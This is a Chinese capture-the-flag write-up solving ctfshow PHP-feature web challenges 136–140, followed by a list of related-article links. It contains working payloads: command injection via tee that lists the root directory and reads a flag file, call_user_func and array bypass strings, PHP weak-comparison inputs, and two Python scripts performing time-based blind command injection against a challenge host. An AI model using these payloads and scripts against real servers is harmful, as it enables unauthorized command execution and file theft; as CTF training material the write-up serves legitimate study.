• ctfshow web入门 php特性 web136-web140


    1.web136

    在这里插入图片描述
    还有一种写文件的命令时tee命令
    payload:

    : ls /|tee 1           访问1下载查看文件1发现根目录下有flag
    cat /f149_15_h3r3|tee 2     访问下载查看文件2
    
    • 1
    • 2

    2.web137

    在这里插入图片描述
    call_user_func

    
    class myclass {
        static function say_hello()
        {
            echo "Hello!\n";
        }
    }
    $classname = "myclass";
    call_user_func(array($classname, 'say_hello'));
    call_user_func($classname .'::say_hello'); 
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    payload:

     ctfshow=ctfshow::getFlag
    
    • 1

    3.web138

    在这里插入图片描述
    过滤了:
    还可以传入数组
    payload:

    ctfshow[0]=ctfshow&ctfshow[1]=getFlag
    
    • 1

    4.web139

    在这里插入图片描述
    发现tee写文件不行了,应该时权限不够
    使用盲注的方式,跟sql的时间盲注差不多,这里利用的时linux的shell语法

    import requests
    import time
    import string
    str=string.ascii_letters+string.digits
    result=""
    for i in range(1,5):         #知道flag在第四行,实际情况中把数字写大一些
    	key=0
    	for j in range(1,15):     #文件名的长度大小
    		if key==1:
    			break
    		for n in str:
    			payload="if [ `ls /|awk 'NR=={0}'|cut -c {1}` == {2} ];then sleep 3;fi".format(i,j,n)
    			#print(payload)
    			url="http://877848b4-f5ed-4ec1-bfc1-6f44bf292662.chall.ctf.show?c="+payload
    			try:
    				requests.get(url,timeout=(2.5,2.5))
    			except:
    			    result=result+n
    			    print(result)
    			    break
    			if n=='9':
    				key=1
    	result+=" "
    得出flag在根目录下的f149_15_h3r3中,继续盲注得出flag值
    import requests
    import time
    import string
    str=string.digits+string.ascii_lowercase+"-"
    result=""
    #key=0                      #key我感觉可以不用加
    for j in range(1,45):
    #	if key==1:
    #		break   
    	for n in str:
    		payload="if [ `cat /f149_15_h3r3|cut -c {0}` == {1} ];then sleep 3;fi".format(j,n)
    		#print(payload)
    		url="http://877848b4-f5ed-4ec1-bfc1-6f44bf292662.chall.ctf.show?c="+payload
    		try:
    			requests.get(url,timeout=(2.5,2.5))
    		except:
    		    result=result+n
    		    print(result)
    		    break
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44

    awk nr从第几行开始
    在这里插入图片描述
    cut截取字符第几个字符
    在这里插入图片描述

    5.web140

    在这里插入图片描述
    弱类型比较,intval把非零数字转为0,而后面的ctfshow会进行类型转换,也会转换为0
    payload:

    f1=md5&f2=md5
    f1=usleep&f2=usleep
    f1=md5&f2=sleep
    f1=sha1&f2=md5
    
    • 1
    • 2
    • 3
    • 4

    php特性

  • 相关阅读:
    深度学习与python theano
    LibTorch之网络模型构建
    Winform中使用System.Windows.Forms.Timer多次启动停止计时器时绑定事件会重复多次执行
    Oracle数据库查询唯一约束、索引
    2022.4昆明 E Easy String Problem
    Playwright Python 持久化浏览器上下文
    webpack5基础--04_处理样式资源
    为什么你总是无法做出正确的判断
    2.10 PE结构:重建重定位表结构
    低代码+知识管理,打造智能化供应链管理系统
  • 原文地址:https://blog.csdn.net/m0_62207170/article/details/133693724